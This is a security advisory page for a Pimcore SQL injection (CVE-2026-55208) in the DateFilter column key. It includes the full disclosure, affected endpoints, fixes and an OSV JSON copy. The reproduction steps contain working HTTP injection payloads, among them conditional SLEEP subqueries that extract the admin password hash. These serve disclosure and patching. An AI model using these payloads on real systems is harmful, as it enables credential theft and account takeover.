CVE-2026-55208: Pimcore SQL Injection Vulnerability

HIGH
Advisory Identifier: GHSA-79cw-hfcc-7mw9
CVSS 7.7
CWE-89
Published
Advisory Summary

CVE-2026-55208 is a HIGH (CVSS 7.7) sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Pimcore libraries in the Packagist ecosystem. The issue involves sql injection via column name in datefilter allows authenticated user to extract arbitrary database data including admin password hashes. Remediation is available by upgrading affected packages to version 2025.4.6, 2026.1.6.

CVE-2026-55208 at a Glance

CVE Identifier CVE-2026-55208
GHSA Identifier GHSA-79cw-hfcc-7mw9
Severity HIGH
CVSS v3.1 Base Score 7.7
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product Pimcore
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-55208

To remediate this vulnerability, upgrade all affected Pimcore dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pimcore/studio-backend-bundle fixed: 2025.4.6
Upgrade pimcore/studio-backend-bundle to 2025.4.6
pimcore/studio-backend-bundle fixed: 2026.1.6
Upgrade pimcore/studio-backend-bundle to 2026.1.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for pimcore/studio-backend-bundle

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-55208, inspect your project dependencies for Pimcore:

inspect dependencies for pimcore/studio-backend-bundle

Analyze the terminal output to locate any version of Pimcore in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2025.4.6), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Pimcore, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary An authenticated user extracts the admin password hash and any other database content through a time-based blind SQL injection in the `DateFilter` column key parameter. The `POST /pimcore-studio/api/website-settings` endpoint (and 11 other listing endpoints) accepts a `columnFilters` array where the `key` field is interpolated directly into SQL with only manual backtick wrapping. The `DateFilter` uses fixed named parameters (`:minTime`, `:maxTime`), so the injected column name is not subject to PDO named parameter validation. An attacker breaks out of the backtick quoting with a backtick character and appends arbitrary SQL, including `SLEEP()` for time-based extraction and `IF()` subqueries for conditional data exfiltration. ## Vulnerability Details ### Exploitable: DateFilter with Fixed Named Parameters `src/Listing/Filter/DateFilter.php` lines 49-57 handle the `on` operator. The column key comes from user input and is placed in the SQL with manual backtick wrapping, while the named parameters are hardcoded as `:minTime` and `:maxTime`: ```php $key = $column->getKey(); // user-controlled, no validation $dateCondition = '`' . $key . '` ' . ' BETWEEN :minTime AND :maxTime'; $listing->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => ...]); ``` Because the named parameters are fixed strings, PDO accepts the binding regardless of what the column name contains. ### Same Pattern in Note FilterService `src/Note/Service/FilterService.php` lines 64-67: ```php $dateCondition = '`' . $filter[$propertyKey] . '` ' . ' BETWEEN :minTime AND :maxTime'; $list->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => $maxTime]); ``` ### No Validation on Column Key `src/MappedParameter/Filter/ColumnFilter.php` accepts any string as the `key` with zero validation or allowlisting. ### Why Backtick Wrapping is Not Escaping Manual backtick wrapping (`` '`' . $key . '`' ``) does not escape internal backtick characters. `quoteIdentifier()` doubles them, manual wrapping does not. A backtick in the key breaks out of the quoting and the `-- ` (double dash space) comments out the remainder of the query: **Input:** ``key = "id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- "`` **Produces:** ```sql (`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ` BETWEEN :minTime AND :maxTime) ``` Everything after `-- ` is a SQL comment. The injected `SLEEP(3)` executes unconditionally. ### Contrast with Safe Patterns in the Same Codebase - `LogRepository.php` line 202: uses `$this->dbResolver->get()->quoteIdentifier()` (safe) - `ClassificationStore/Configuration/KeyRepository.php`: uses `ALLOWED_SORT_KEYS` allowlist (safe) ### Note on EqualsFilter/LikeFilter The `EqualsFilter` and `LikeFilter` have the same manual backtick wrapping, but they reuse the column name as the PDO named parameter (`:columnName`). PDO requires named parameters to match `[a-zA-Z0-9_]`, so injection characters cause a parameter binding error before SQL execution. These filters are not exploitable through this vector. The DateFilter is exploitable because it uses independent fixed parameter names. ## Steps to Reproduce Tested on Pimcore 12.x (2026.x branch, latest commit `82f9ff6`), Docker, PHP 8.4, MariaDB 10.11. ### Step 1: Baseline request (no injection) ```http POST /pimcore-studio/api/website-settings HTTP/1.1 Host: localhost:8095 Content-Type: application/json Cookie: PHPSESSID=<AUTHENTICATED_SESSION> {"page":1,"pageSize":10} ``` **Response:** `HTTP/1.1 200 OK` -- `totalItems: 1` -- **0.07 seconds** <img width="1666" height="616" alt="image" src="https://github.com/user-attachments/assets/93dfbb22-3915-4abb-b569-13c9f3cea368" /> ### Step 2: Unconditional SLEEP(3) injection ```http POST /pimcore-studio/api/website-settings HTTP/1.1 Host: localhost:8095 Content-Type: application/json Cookie: PHPSESSID=<AUTHENTICATED_SESSION> {"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}} ``` **Response:** `HTTP/1.1 200 OK` -- `totalItems: 0` -- **6.07 seconds** <img width="1631" height="898" alt="image" src="https://github.com/user-attachments/assets/97d04b04-4fb2-4fd4-95b8-e50d0521de97" /> <img width="1920" height="625" alt="image" src="https://github.com/user-attachments/assets/6000a604-b189-4f99-8648-d8ec36a59094" /> The 6-second delay (3s x 2 queries: SELECT + COUNT) confirms SQL injection. The MySQL general log shows the injected SQL executed: ```sql SELECT id FROM website_settings WHERE (`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ` BETWEEN :minTime AND :maxTime) ORDER BY `id` ASC LIMIT 50 ``` ### Step 3: Conditional SLEEP proving data extraction (TRUE case) This query tests whether the admin password hash starts with `$2y$` (bcrypt, hex `0x24327924`). If true, the server sleeps 3 seconds. If false, no delay. ```http POST /pimcore-studio/api/website-settings HTTP/1.1 Host: localhost:8095 Content-Type: application/json Cookie: PHPSESSID=<AUTHENTICATED_SESSION> {"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}} ``` **Response:** `HTTP/1.1 200 OK` -- **6.07 seconds** (TRUE: admin password hash starts with `$2y$`) <img width="1611" height="706" alt="image" src="https://github.com/user-attachments/assets/b9f12ca4-3459-4ed6-8a08-c64f99f28d85" /> <img width="1917" height="570" alt="image" src="https://github.com/user-attachments/assets/1c5eca3d-f66b-4630-bea9-69c93ffa1a6f" /> ### Step 4: Conditional SLEEP (FALSE case, wrong guess) Same query but testing for `XXXX` (hex `0x58585858`) instead: ```http POST /pimcore-studio/api/website-settings HTTP/1.1 Host: localhost:8095 Content-Type: application/json Cookie: PHPSESSID=<AUTHENTICATED_SESSION> {"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x58585858,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}} ``` **Response:** `HTTP/1.1 200 OK` -- **0.07 seconds** (FALSE: password does not start with `XXXX`) <img width="1920" height="496" alt="image" src="https://github.com/user-attachments/assets/7a27f666-a6e4-4c65-94b4-f0d22ba1db7f" /> ### Timing comparison | Request | Payload | Response Time | Meaning | |---------|---------|---------------|---------| | Baseline | No injection | 0.07s | Normal | | Unconditional SLEEP | `AND SLEEP(3)` | 6.07s | Injection confirmed | | Conditional TRUE | `IF(password starts with $2y$, SLEEP(3), 0)` | 6.07s | Data extracted: hash is bcrypt | | Conditional FALSE | `IF(password starts with XXXX, SLEEP(3), 0)` | 0.07s | Control: no match, no delay | By iterating through characters with `SUBSTRING(password, N, 1)`, an attacker extracts the full bcrypt hash for offline cracking, or extracts `passwordRecoveryToken` values for direct account takeover without cracking. ## Impact An authenticated user with `website_settings` permission (or any permission granting access to a listing endpoint with DateFilter support) extracts the full contents of any database table one character at a time through conditional time-based blind SQL injection. Directly extractable high-value data: - Admin password hashes (`users.password`) for offline cracking - Password recovery tokens (`users.passwordRecoveryToken`) for direct account takeover via `POST /login/token` - Session data for session hijacking - All PIM product data, CMS content, and asset metadata ## Affected Endpoints All endpoints using `ListingFilter::applyFilters()` with a DateFilter `on` column filter: - `POST /pimcore-studio/api/website-settings` - `POST /pimcore-studio/api/notifications` - `POST /pimcore-studio/api/recycle-bin` - `POST /pimcore-studio/api/redirects` - `POST /pimcore-studio/api/translations/{domain}` - `POST /pimcore-studio/api/quantity-value/units` - `POST /pimcore-studio/api/properties` - `POST /pimcore-studio/api/classification-store/{storeId}/keys` - `POST /pimcore-studio/api/classification-store/{storeId}/groups` - `POST /pimcore-studio/api/classification-store/{storeId}/collections` - `GET /pimcore-studio/api/notes/{elementType}/{id}` (via Note FilterService fieldFilters) ## Recommended Fix Replace manual backtick wrapping with `Doctrine\DBAL\Connection::quoteIdentifier()`, or implement a per-listing allowlist of valid column names: ```php // Option 1: quoteIdentifier (doubles internal backticks) $db = \Pimcore\Db::get(); $dateCondition = $db->quoteIdentifier($key) . ' BETWEEN :minTime AND :maxTime'; // Option 2: allowlist (preferred) private const ALLOWED_COLUMNS = ['id', 'name', 'date', 'type', 'creationDate', 'modificationDate']; if (!in_array($key, self::ALLOWED_COLUMNS, true)) { throw new InvalidArgumentException('Invalid filter column'); } ``` Apply the same fix to `EqualsFilter`, `LikeFilter`, and `Note/FilterService` as defense-in-depth, even though those are currently protected by PDO named parameter validation. ## Supporting Materials - Live-tested on Pimcore 12.x (2026.x branch, commit `82f9ff6`), Docker, PHP 8.4, MariaDB 10.11 - MySQL general query log confirms injected SQL reaches the database - The safe pattern (`quoteIdentifier()`) exists in the same codebase in `LogRepository.php` line 202 - Package: `pimcore/studio-backend-bundle`

CVE-2026-55208 Affected Pimcore Versions

2 component(s)
Fixed Versions:
2025.4.62026.1.6
Product / Package Ecosystem Affected Versions Fixed Version
pimcore/studio-backend-bundle
Packagist
< 2025.4.6
2025.4.6
pimcore/studio-backend-bundle
Packagist
≥ 2026.1.0
< 2026.1.6
2026.1.6

References

Frequently Asked Questions

What is CVE-2026-55208?
CVE-2026-55208 is a security vulnerability in Pimcore involving SQL Injection via Column Name in DateFilter allows authenticated user to extract arbitrary database data including admin password hashes under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which Pimcore versions are affected?
Affected versions include releases prior to 2025.4.6, 2026.1.6 across affected packages: pimcore/studio-backend-bundle.
What version fixes CVE-2026-55208?
Upgrading to 2025.4.6, 2026.1.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pimcore/studio-backend-bundle affected?
Yes, pimcore/studio-backend-bundle is affected in releases prior to 2025.4.6, 2026.1.6. Upgrade your dependency to 2025.4.6, 2026.1.6 or later.
What is the CVSS score of CVE-2026-55208?
CVE-2026-55208 has a CVSS v3.1 base score of 7.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-55208?
CVE-2026-55208 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check Packagist dependencies for CVE-2026-55208?
Run the dependency tree command: 'inspect dependencies for pimcore/studio-backend-bundle'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-79cw-hfcc-7mw9",
  "modified" : "2026-08-28T19:04:54Z",
  "published" : "2026-08-28T19:04:54Z",
  "aliases" : [ "CVE-2026-55208" ],
  "summary" : "Pimcore: SQL Injection via Column Name in DateFilter allows authenticated user to extract arbitrary database data including admin password hashes",
  "details" : "## Summary\n\nAn authenticated user extracts the admin password hash and any other database content through a time-based blind SQL injection in the `DateFilter` column key parameter. The `POST /pimcore-studio/api/website-settings` endpoint (and 11 other listing endpoints) accepts a `columnFilters` array where the `key` field is interpolated directly into SQL with only manual backtick wrapping. The `DateFilter` uses fixed named parameters (`:minTime`, `:maxTime`), so the injected column name is not subject to PDO named parameter validation. An attacker breaks out of the backtick quoting with a backtick character and appends arbitrary SQL, including `SLEEP()` for time-based extraction and `IF()` subqueries for conditional data exfiltration.\n\n## Vulnerability Details\n\n### Exploitable: DateFilter with Fixed Named Parameters\n\n`src/Listing/Filter/DateFilter.php` lines 49-57 handle the `on` operator. The column key comes from user input and is placed in the SQL with manual backtick wrapping, while the named parameters are hardcoded as `:minTime` and `:maxTime`:\n\n```php\n$key = $column->getKey();  // user-controlled, no validation\n$dateCondition = '`' . $key . '` ' . ' BETWEEN :minTime AND :maxTime';\n$listing->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => ...]);\n```\n\nBecause the named parameters are fixed strings, PDO accepts the binding regardless of what the column name contains.\n\n### Same Pattern in Note FilterService\n\n`src/Note/Service/FilterService.php` lines 64-67:\n\n```php\n$dateCondition = '`' . $filter[$propertyKey] . '` ' . ' BETWEEN :minTime AND :maxTime';\n$list->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => $maxTime]);\n```\n\n### No Validation on Column Key\n\n`src/MappedParameter/Filter/ColumnFilter.php` accepts any string as the `key` with zero validation or allowlisting.\n\n### Why Backtick Wrapping is Not Escaping\n\nManual backtick wrapping (`` '`' . $key . '`' ``) does not escape internal backtick characters. `quoteIdentifier()` doubles them, manual wrapping does not. A backtick in the key breaks out of the quoting and the `-- ` (double dash space) comments out the remainder of the query:\n\n**Input:** ``key = \"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- \"``\n\n**Produces:**\n```sql\n(`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- `  BETWEEN :minTime AND :maxTime)\n```\n\nEverything after `-- ` is a SQL comment. The injected `SLEEP(3)` executes unconditionally.\n\n### Contrast with Safe Patterns in the Same Codebase\n\n- `LogRepository.php` line 202: uses `$this->dbResolver->get()->quoteIdentifier()` (safe)\n- `ClassificationStore/Configuration/KeyRepository.php`: uses `ALLOWED_SORT_KEYS` allowlist (safe)\n\n### Note on EqualsFilter/LikeFilter\n\nThe `EqualsFilter` and `LikeFilter` have the same manual backtick wrapping, but they reuse the column name as the PDO named parameter (`:columnName`). PDO requires named parameters to match `[a-zA-Z0-9_]`, so injection characters cause a parameter binding error before SQL execution. These filters are not exploitable through this vector. The DateFilter is exploitable because it uses independent fixed parameter names.\n\n## Steps to Reproduce\n\nTested on Pimcore 12.x (2026.x branch, latest commit `82f9ff6`), Docker, PHP 8.4, MariaDB 10.11.\n\n### Step 1: Baseline request (no injection)\n\n```http\nPOST /pimcore-studio/api/website-settings HTTP/1.1\nHost: localhost:8095\nContent-Type: application/json\nCookie: PHPSESSID=<AUTHENTICATED_SESSION>\n\n{\"page\":1,\"pageSize\":10}\n```\n\n**Response:** `HTTP/1.1 200 OK` -- `totalItems: 1` -- **0.07 seconds**\n\n<img width=\"1666\" height=\"616\" alt=\"image\" src=\"https://github.com/user-attachments/assets/93dfbb22-3915-4abb-b569-13c9f3cea368\" />\n\n\n### Step 2: Unconditional SLEEP(3) injection\n\n```http\nPOST /pimcore-studio/api/website-settings HTTP/1.1\nHost: localhost:8095\nContent-Type: application/json\nCookie: PHPSESSID=<AUTHENTICATED_SESSION>\n\n{\"page\":1,\"pageSize\":10,\"filters\":{\"columnFilters\":[{\"key\":\"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- \",\"type\":\"date\",\"filterValue\":{\"operator\":\"on\",\"value\":\"2024-01-01\"}}]}}\n```\n\n**Response:** `HTTP/1.1 200 OK` -- `totalItems: 0` -- **6.07 seconds**\n\n<img width=\"1631\" height=\"898\" alt=\"image\" src=\"https://github.com/user-attachments/assets/97d04b04-4fb2-4fd4-95b8-e50d0521de97\" />\n\n<img width=\"1920\" height=\"625\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6000a604-b189-4f99-8648-d8ec36a59094\" />\n\n\nThe 6-second delay (3s x 2 queries: SELECT + COUNT) confirms SQL injection. The MySQL general log shows the injected SQL executed:\n\n```sql\nSELECT id FROM website_settings WHERE (`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- `  BETWEEN :minTime AND :maxTime)  ORDER BY `id` ASC LIMIT 50\n```\n\n### Step 3: Conditional SLEEP proving data extraction (TRUE case)\n\nThis query tests whether the admin password hash starts with `$2y$` (bcrypt, hex `0x24327924`). If true, the server sleeps 3 seconds. If false, no delay.\n\n```http\nPOST /pimcore-studio/api/website-settings HTTP/1.1\nHost: localhost:8095\nContent-Type: application/json\nCookie: PHPSESSID=<AUTHENTICATED_SESSION>\n\n{\"page\":1,\"pageSize\":10,\"filters\":{\"columnFilters\":[{\"key\":\"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- \",\"type\":\"date\",\"filterValue\":{\"operator\":\"on\",\"value\":\"2024-01-01\"}}]}}\n```\n\n**Response:** `HTTP/1.1 200 OK` -- **6.07 seconds** (TRUE: admin password hash starts with `$2y$`)\n\n<img width=\"1611\" height=\"706\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b9f12ca4-3459-4ed6-8a08-c64f99f28d85\" />\n\n\n<img width=\"1917\" height=\"570\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1c5eca3d-f66b-4630-bea9-69c93ffa1a6f\" />\n\n\n\n### Step 4: Conditional SLEEP (FALSE case, wrong guess)\n\nSame query but testing for `XXXX` (hex `0x58585858`) instead:\n\n```http\nPOST /pimcore-studio/api/website-settings HTTP/1.1\nHost: localhost:8095\nContent-Type: application/json\nCookie: PHPSESSID=<AUTHENTICATED_SESSION>\n\n{\"page\":1,\"pageSize\":10,\"filters\":{\"columnFilters\":[{\"key\":\"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x58585858,SLEEP(3),0)-- \",\"type\":\"date\",\"filterValue\":{\"operator\":\"on\",\"value\":\"2024-01-01\"}}]}}\n```\n\n**Response:** `HTTP/1.1 200 OK` -- **0.07 seconds** (FALSE: password does not start with `XXXX`)\n\n<img width=\"1920\" height=\"496\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7a27f666-a6e4-4c65-94b4-f0d22ba1db7f\" />\n\n\n### Timing comparison\n\n| Request | Payload | Response Time | Meaning |\n|---------|---------|---------------|---------|\n| Baseline | No injection | 0.07s | Normal |\n| Unconditional SLEEP | `AND SLEEP(3)` | 6.07s | Injection confirmed |\n| Conditional TRUE | `IF(password starts with $2y$, SLEEP(3), 0)` | 6.07s | Data extracted: hash is bcrypt |\n| Conditional FALSE | `IF(password starts with XXXX, SLEEP(3), 0)` | 0.07s | Control: no match, no delay |\n\nBy iterating through characters with `SUBSTRING(password, N, 1)`, an attacker extracts the full bcrypt hash for offline cracking, or extracts `passwordRecoveryToken` values for direct account takeover without cracking.\n\n## Impact\n\nAn authenticated user with `website_settings` permission (or any permission granting access to a listing endpoint with DateFilter support) extracts the full contents of any database table one character at a time through conditional time-based blind SQL injection.\n\nDirectly extractable high-value data:\n- Admin password hashes (`users.password`) for offline cracking\n- Password recovery tokens (`users.passwordRecoveryToken`) for direct account takeover via `POST /login/token`\n- Session data for session hijacking\n- All PIM product data, CMS content, and asset metadata\n\n## Affected Endpoints\n\nAll endpoints using `ListingFilter::applyFilters()` with a DateFilter `on` column filter:\n\n- `POST /pimcore-studio/api/website-settings`\n- `POST /pimcore-studio/api/notifications`\n- `POST /pimcore-studio/api/recycle-bin`\n- `POST /pimcore-studio/api/redirects`\n- `POST /pimcore-studio/api/translations/{domain}`\n- `POST /pimcore-studio/api/quantity-value/units`\n- `POST /pimcore-studio/api/properties`\n- `POST /pimcore-studio/api/classification-store/{storeId}/keys`\n- `POST /pimcore-studio/api/classification-store/{storeId}/groups`\n- `POST /pimcore-studio/api/classification-store/{storeId}/collections`\n- `GET /pimcore-studio/api/notes/{elementType}/{id}` (via Note FilterService fieldFilters)\n\n## Recommended Fix\n\nReplace manual backtick wrapping with `Doctrine\\DBAL\\Connection::quoteIdentifier()`, or implement a per-listing allowlist of valid column names:\n\n```php\n// Option 1: quoteIdentifier (doubles internal backticks)\n$db = \\Pimcore\\Db::get();\n$dateCondition = $db->quoteIdentifier($key) . ' BETWEEN :minTime AND :maxTime';\n\n// Option 2: allowlist (preferred)\nprivate const ALLOWED_COLUMNS = ['id', 'name', 'date', 'type', 'creationDate', 'modificationDate'];\nif (!in_array($key, self::ALLOWED_COLUMNS, true)) {\n    throw new InvalidArgumentException('Invalid filter column');\n}\n```\n\nApply the same fix to `EqualsFilter`, `LikeFilter`, and `Note/FilterService` as defense-in-depth, even though those are currently protected by PDO named parameter validation.\n\n## Supporting Materials\n\n- Live-tested on Pimcore 12.x (2026.x branch, commit `82f9ff6`), Docker, PHP 8.4, MariaDB 10.11\n- MySQL general query log confirms injected SQL reaches the database\n- The safe pattern (`quoteIdentifier()`) exists in the same codebase in `LogRepository.php` line 202\n- Package: `pimcore/studio-backend-bundle`",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "pimcore/studio-backend-bundle"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2025.4.6"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "pimcore/studio-backend-bundle"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2026.1.0"
      }, {
        "fixed" : "2026.1.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pimcore/pimcore/security/advisories/GHSA-79cw-hfcc-7mw9"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-55208"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pimcore/studio-backend-bundle/pull/1883"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pimcore/studio-backend-bundle/commit/f532428cfbf4f5d6e299a13cedd5c29541802552"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pimcore/pimcore"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pimcore/studio-backend-bundle/releases/tag/v2025.4.6"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pimcore/studio-backend-bundle/releases/tag/v2026.1.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-28T19:04:54Z",
    "nvd_published_at" : "2026-07-09T21:16:56Z"
  }
}